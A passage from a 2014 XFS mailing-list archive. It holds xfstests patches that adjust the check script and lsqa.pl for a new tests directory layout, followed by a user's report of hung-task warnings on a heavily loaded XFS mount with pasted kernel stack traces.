3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- If DIFF_LENGTH is set to 0, the full output is available and the message does not make sense. Signed-off-by: David Sterba --- check | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/check b/check index 9e4275b1fa37..d578e49b78d4 100755 --- a/check +++ b/check @@ -510,11 +510,11 @@ do cat else head -n "$DIFF_LENGTH" + echo "..." + echo "(Run '$diff $seq.out $seqres.out.bad'" + " to see the entire diff)" fi; } | \ sed -e 's/^\(.\)/ \1/' - echo " ..." - echo " (Run '$diff $seq.out $seqres.out.bad' to see the" \ - "entire diff)" err=true fi fi -- 1.8.5 From dsterba@suse.cz Thu Jan 16 11:07:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9416A29DF8 for ; Thu, 16 Jan 2014 11:07:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5A83B8F8050 for ; Thu, 16 Jan 2014 09:07:24 -0800 (PST) X-ASG-Debug-ID: 1389892042-04bdf00fe272e090001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id kY4DLPei1ucemouf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 09:07:23 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id DC0E4AC3E for ; Thu, 16 Jan 2014 17:07:21 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 95C56DA8D7; Thu, 16 Jan 2014 18:07:21 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH 4/5] xfstests: accept tests/ prefix for test name on commandline Date: Thu, 16 Jan 2014 18:07:14 +0100 X-ASG-Orig-Subj: [PATCH 4/5] xfstests: accept tests/ prefix for test name on commandline Message-Id: X-Mailer: git-send-email 1.8.5 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389892042 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Just for convenience to let tab completion or shell globs work (files that are not in the group file are ignored). Signed-off-by: David Sterba --- check | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/check b/check index d578e49b78d4..a787c4a9f69f 100755 --- a/check +++ b/check @@ -263,12 +263,13 @@ if $have_test_arg; then exit $status ;; *) test_dir=`dirname $1` + test_dir=${test_dir#$SRC_DIR/*} test_name=`basename $1` group_file=$SRC_DIR/$test_dir/group if egrep "^$test_name" $group_file >/dev/null ; then # in group file ... OK - echo $SRC_DIR/$1 >>$tmp.arglist + echo $SRC_DIR/$test_dir/$test_name >>$tmp.arglist else # oops echo "$1 - unknown test, ignored" -- 1.8.5 From dsterba@suse.cz Thu Jan 16 11:07:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A7BFA29E20 for ; Thu, 16 Jan 2014 11:07:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4BABAAC001 for ; Thu, 16 Jan 2014 09:07:25 -0800 (PST) X-ASG-Debug-ID: 1389892043-04cb6c5b315a000001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id RM1BmJ7GVWKGf0mV (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 16 Jan 2014 09:07:24 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 11C5CAC56 for ; Thu, 16 Jan 2014 17:07:23 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id CD41EDA8D7; Thu, 16 Jan 2014 18:07:22 +0100 (CET) From: David Sterba To: xfs@oss.sgi.com Cc: David Sterba Subject: [PATCH 5/5] xfstests: update lsqa.pl for new tests layout Date: Thu, 16 Jan 2014 18:07:15 +0100 X-ASG-Orig-Subj: [PATCH 5/5] xfstests: update lsqa.pl for new tests layout Message-Id: <640bbf9ea0ed48cb817218af8a3311545c4cc1b8.1389891730.git.dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389892043 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144149 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Accepted parameter types: - nothing - list all tests from all subdirectories in tests/* - tests/DIR - list all tests from DIR - tests/DIR/123 - show header from single test Signed-off-by: David Sterba --- lsqa.pl | 32 ++++++++++++++++++++++++-------- 1 file changed, 24 insertions(+), 8 deletions(-) diff --git a/lsqa.pl b/lsqa.pl index 040196f70120..b4fc83f43f99 100755 --- a/lsqa.pl +++ b/lsqa.pl @@ -15,13 +15,20 @@ # along with this program; if not, write the Free Software Foundation, # Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # + +# Print headers of given tests +# Accepted parameter types: +# - nothing - list all tests from all subdirectories in tests/* +# - tests/DIR - list all tests from DIR +# - tests/DIR/123 - show header from single test + use strict; use Getopt::Long; sub help(); sub get_qa_header($); -sub get_qa_tests(); +sub get_qa_tests; my %opt; @@ -43,8 +50,19 @@ if ($opt{'help'}) { die help(); } -my @qatests = map {sprintf("%03d", $_)} @ARGV; -@qatests = get_qa_tests() unless (@qatests); +my @qatests; + +if (!@ARGV) { + my $d="tests"; + opendir(DIR, $d); + map { push @qatests,get_qa_tests("$d/$_") if -d "$d/$_" } readdir(DIR); + closedir(DIR); +} + +foreach (@ARGV) { + push @qatests,$_ if -f && /\d{3}$/; + push @qatests,get_qa_tests($_) if -d; +} foreach (@qatests) { my @h = get_qa_header($_); @@ -103,13 +121,11 @@ sub get_qa_header($) { return @l; } -sub get_qa_tests() { +sub get_qa_tests { my $d = shift || $ENV{'PWD'}; opendir(my $DIR, $d) || die "can't opendir $d: $!"; - my @qa = grep {m/^\d\d\d$/ && -f "$d/$_" } readdir($DIR); + my @qa = sort grep { m/^\d\d\d$/ && -f "$d/$_" } readdir($DIR); closedir($DIR); - - return @qa; + return map { $_ = "$d/$_" } @qa; } - -- 1.8.5 From inovick@gopivotal.com Thu Jan 16 13:51:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, LOCALPART_IN_SUBJECT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B64A57F37 for ; Thu, 16 Jan 2014 13:51:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9EB228F804B for ; Thu, 16 Jan 2014 11:51:56 -0800 (PST) X-ASG-Debug-ID: 1389901913-04cb6c537ee1d620001-NocioJ Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com [209.85.192.182]) by cuda.sgi.com with ESMTP id 0QyJe0FEdKKBxlOv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 16 Jan 2014 11:51:53 -0800 (PST) X-Barracuda-Envelope-From: inovick@gopivotal.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.182 Received: by mail-pd0-f182.google.com with SMTP id v10so3043990pde.27 for ; Thu, 16 Jan 2014 11:51:53 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=qTRn61f3qhSnrk05YmgXH9kVwhox3c8o+n722p8DvwQ=; b=alU510LPeJDC4p9t0beoHYpAu+fZck1uuT1CPE8F0jvgvhkIKr/FETuL2lVhA79R2T vg+ntroIe7H0ak0dJKQR6hn47MOPQUzCp0ier7fc4s8frd+zHpja28jJR90Bf1u4vXU5 qsKi2Ar0ZVRqa16Fwvx/LBjj41cRorW8KqxIGL4GZ/rDzFvE6DZGAVzspBgzu6/TleNV ZxfnPt13H4Wow6gLIDgmUlaISaWTE0N4XghpRBCPJgsuJb73T/Mm00Cedpyzr86OHeDA JpbAa12akJMc4w1MWFSIQyvas5QXYCfWETHBhilSuGV6nWHuefSco3UtUmYZAVcksnBv CwJA== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQlBmsrj9GIB6VNePPgPQF/q47VpG7AZKxruLIG+ELUgg1o2XouLpJ1tIePfVq+dC3WvE8zg MIME-Version: 1.0 X-Received: by 10.68.44.106 with SMTP id d10mr12266947pbm.114.1389901913038; Thu, 16 Jan 2014 11:51:53 -0800 (PST) Received: by 10.70.20.131 with HTTP; Thu, 16 Jan 2014 11:51:52 -0800 (PST) Date: Thu, 16 Jan 2014 11:51:52 -0800 Message-ID: Subject: xfs: blocked for more than 120 seconds From: Ivan Novick X-ASG-Orig-Subj: xfs: blocked for more than 120 seconds To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=bcaec544eeccccc06a04f01bc12c X-Barracuda-Connect: mail-pd0-f182.google.com[209.85.192.182] X-Barracuda-Start-Time: 1389901913 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FB_WORD1_END_DOLLAR, HTML_MESSAGE, LOCALPART_IN_SUBJECT, LOCALPART_IN_SUBJECT_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144154 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 LOCALPART_IN_SUBJECT Local part of To: address appears in Subject 0.00 FB_WORD1_END_DOLLAR BODY: Looks like a word ending with a $ 0.00 HTML_MESSAGE BODY: HTML included in message 1.00 LOCALPART_IN_SUBJECT_2 Local part of To: address appears in Subject --bcaec544eeccccc06a04f01bc12c Content-Type: text/plain; charset=ISO-8859-1 Hello, I am running a server with heavy workload on a XFS mount: /dev/mapper/v2-d1 on /d/d1 type xfs (rw,nodev,noatime,inode64,allocsize=16m) 2.6.32-424.el6.x86_64 #1 SMP Mon Oct 14 20:11:50 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux We get errors in log indicating processes are blocked for more than 120 seconds. 1) Is this expected during heavy workload? 2) What would be the impact on the processes? Are they basically hung in userspace waiting for IO? 3) Is there anything we tune here? Below is the output. Cheers, Ivan Novick INFO: task flush-253:1:6882 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. flush-253:1 D 0000000000000000 0 6882 2 0x00000000 ffff881011fa5690 0000000000000046 0000000000000000 ffff881013cba040 0000000000000001 ffff88012a447d40 ffff881013cba040 ffff881016eb4830 ffff881013cba5f8 ffff881011fa5fd8 000000000000fbc8 ffff881013cba5f8 Call Trace: [] io_schedule+0x73/0xc0 [] get_request_wait+0x108/0x1d0 [] ? autoremove_wake_function+0x0/0x40 [] ? elv_merge+0x17e/0x1c0 [] blk_queue_bio+0x99/0x620 [] generic_make_request+0x240/0x5a0 [] ? dm_merge_bvec+0xc7/0x100 [dm_mod] [] submit_bio+0x70/0x120 [] xfs_submit_ioend_bio+0x33/0x40 [xfs] [] xfs_submit_ioend+0xcc/0x140 [xfs] [] xfs_vm_writepage+0x308/0x590 [xfs] [] __writepage+0x17/0x40 [] write_cache_pages+0x1fd/0x4c0 [] ? call_function_single_interrupt+0xe/0x20 [] ? __writepage+0x0/0x40 [] generic_writepages+0x24/0x30 [] xfs_vm_writepages+0x5d/0x80 [xfs] [] do_writepages+0x21/0x40 [] writeback_single_inode+0xdd/0x290 [] writeback_sb_inodes+0xbd/0x170 [] writeback_inodes_wb+0xab/0x1b0 [] wb_writeback+0x2f3/0x410 [] ? thread_return+0x4e/0x76e [] ? del_timer_sync+0x22/0x30 [] wb_do_writeback+0x1a5/0x240 [] bdi_writeback_task+0x63/0x1b0 [] ? bit_waitqueue+0x17/0xd0 [] ? bdi_start_fn+0x0/0x100 [] bdi_start_fn+0x86/0x100 [] ? bdi_start_fn+0x0/0x100 [] kthread+0x96/0xa0 [] child_rip+0xa/0x20 [] ? kthread+0x0/0xa0 [] ? child_rip+0x0/0x20 INFO: task ivanserver:6969 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000000 0 6969 6947 0x00000000 ffff881f4ef179d8 0000000000000082 0000000000000000 000000000000000f 0000000000000001 ffff8800622143c0 0000000000000001 ffff880062216840 ffff881f4eeae638 ffff881f4ef17fd8 000000000000fbc8 ffff881f4eeae638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? call_function_single_interrupt+0xe/0x20 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] ? fget+0x30/0x80 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b INFO: task ivanserver:6972 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000008 0 6972 6948 0x00000000 ffff88100f1219d8 0000000000000086 0000000000000000 000000000000000f 0000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840 ffff88100fd62638 ffff88100f121fd8 000000000000fbc8 ffff88100fd62638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b INFO: task ivanserver:6985 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000000 0 6985 6963 0x00000000 ffff8810103ad9d8 0000000000000082 0000000000000000 000000000000000f 0000000000000001 ffff8800622143c0 0000000000000001 ffff880062216840 ffff88100e01e638 ffff8810103adfd8 000000000000fbc8 ffff88100e01e638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b INFO: task ivanserver:6989 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000008 0 6989 6981 0x00000000 ffff8810101279d8 0000000000000086 0000000000000000 000000000000000f 0000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840 ffff8810252a4638 ffff881010127fd8 000000000000fbc8 ffff8810252a4638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b usxxnovicim1:Downloads novici$ cat dmesg.txt INFO: task flush-253:1:6882 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. flush-253:1 D 0000000000000000 0 6882 2 0x00000000 ffff881011fa5690 0000000000000046 0000000000000000 ffff881013cba040 0000000000000001 ffff88012a447d40 ffff881013cba040 ffff881016eb4830 ffff881013cba5f8 ffff881011fa5fd8 000000000000fbc8 ffff881013cba5f8 Call Trace: [] io_schedule+0x73/0xc0 [] get_request_wait+0x108/0x1d0 [] ? autoremove_wake_function+0x0/0x40 [] ? elv_merge+0x17e/0x1c0 [] blk_queue_bio+0x99/0x620 [] generic_make_request+0x240/0x5a0 [] ? dm_merge_bvec+0xc7/0x100 [dm_mod] [] submit_bio+0x70/0x120 [] xfs_submit_ioend_bio+0x33/0x40 [xfs] [] xfs_submit_ioend+0xcc/0x140 [xfs] [] xfs_vm_writepage+0x308/0x590 [xfs] [] __writepage+0x17/0x40 [] write_cache_pages+0x1fd/0x4c0 [] ? call_function_single_interrupt+0xe/0x20 [] ? __writepage+0x0/0x40 [] generic_writepages+0x24/0x30 [] xfs_vm_writepages+0x5d/0x80 [xfs] [] do_writepages+0x21/0x40 [] writeback_single_inode+0xdd/0x290 [] writeback_sb_inodes+0xbd/0x170 [] writeback_inodes_wb+0xab/0x1b0 [] wb_writeback+0x2f3/0x410 [] ? thread_return+0x4e/0x76e [] ? del_timer_sync+0x22/0x30 [] wb_do_writeback+0x1a5/0x240 [] bdi_writeback_task+0x63/0x1b0 [] ? bit_waitqueue+0x17/0xd0 [] ? bdi_start_fn+0x0/0x100 [] bdi_start_fn+0x86/0x100 [] ? bdi_start_fn+0x0/0x100 [] kthread+0x96/0xa0 [] child_rip+0xa/0x20 [] ? kthread+0x0/0xa0 [] ? child_rip+0x0/0x20 INFO: task ivanserver:6969 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000000 0 6969 6947 0x00000000 ffff881f4ef179d8 0000000000000082 0000000000000000 000000000000000f 0000000000000001 ffff8800622143c0 0000000000000001 ffff880062216840 ffff881f4eeae638 ffff881f4ef17fd8 000000000000fbc8 ffff881f4eeae638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? call_function_single_interrupt+0xe/0x20 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] ? fget+0x30/0x80 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b INFO: task ivanserver:6972 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000008 0 6972 6948 0x00000000 ffff88100f1219d8 0000000000000086 0000000000000000 000000000000000f 0000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840 ffff88100fd62638 ffff88100f121fd8 000000000000fbc8 ffff88100fd62638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b INFO: task ivanserver:6985 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000000 0 6985 6963 0x00000000 ffff8810103ad9d8 0000000000000082 0000000000000000 000000000000000f 0000000000000001 ffff8800622143c0 0000000000000001 ffff880062216840 ffff88100e01e638 ffff8810103adfd8 000000000000fbc8 ffff88100e01e638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 [] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b INFO: task ivanserver:6989 blocked for more than 120 seconds. Tainted: P --------------- 2.6.32-424.el6.x86_64 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. ivanserver D 0000000000000008 0 6989 6981 0x00000000 ffff8810101279d8 0000000000000086 0000000000000000 000000000000000f 0000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840 ffff8810252a4638 ffff881010127fd8 000000000000fbc8 ffff8810252a4638 Call Trace: [] schedule_timeout+0x215/0x2e0 [] __down+0x72/0xb0 [] ? _xfs_buf_find+0xe5/0x230 [xfs] [] down+0x41/0x50 [] xfs_buf_lock+0x51/0x100 [xfs] [] _xfs_buf_find+0xe5/0x230 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] ? _xfs_buf_read+0x46/0x60 [xfs] [] xfs_buf_get+0x34/0x1b0 [xfs] [] xfs_buf_read+0x2c/0x100 [xfs] [] xfs_trans_read_buf+0x197/0x410 [xfs] [] xfs_da_do_buf+0x279/0x770 [xfs] [] ? xfs_buf_lru_add+0x6f/0x80 [xfs] [] ? xfs_trans_brelse+0xe8/0x130 [xfs] [] xfs_da_read_buf+0x2a/0x30 [xfs] [] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] xfs_dir2_leaf_getdents+0x266/0x780 [xfs] [] ? filldir+0x0/0xe0 [] xfs_readdir+0xf9/0x130 [xfs] [] ? filldir+0x0/0xe0 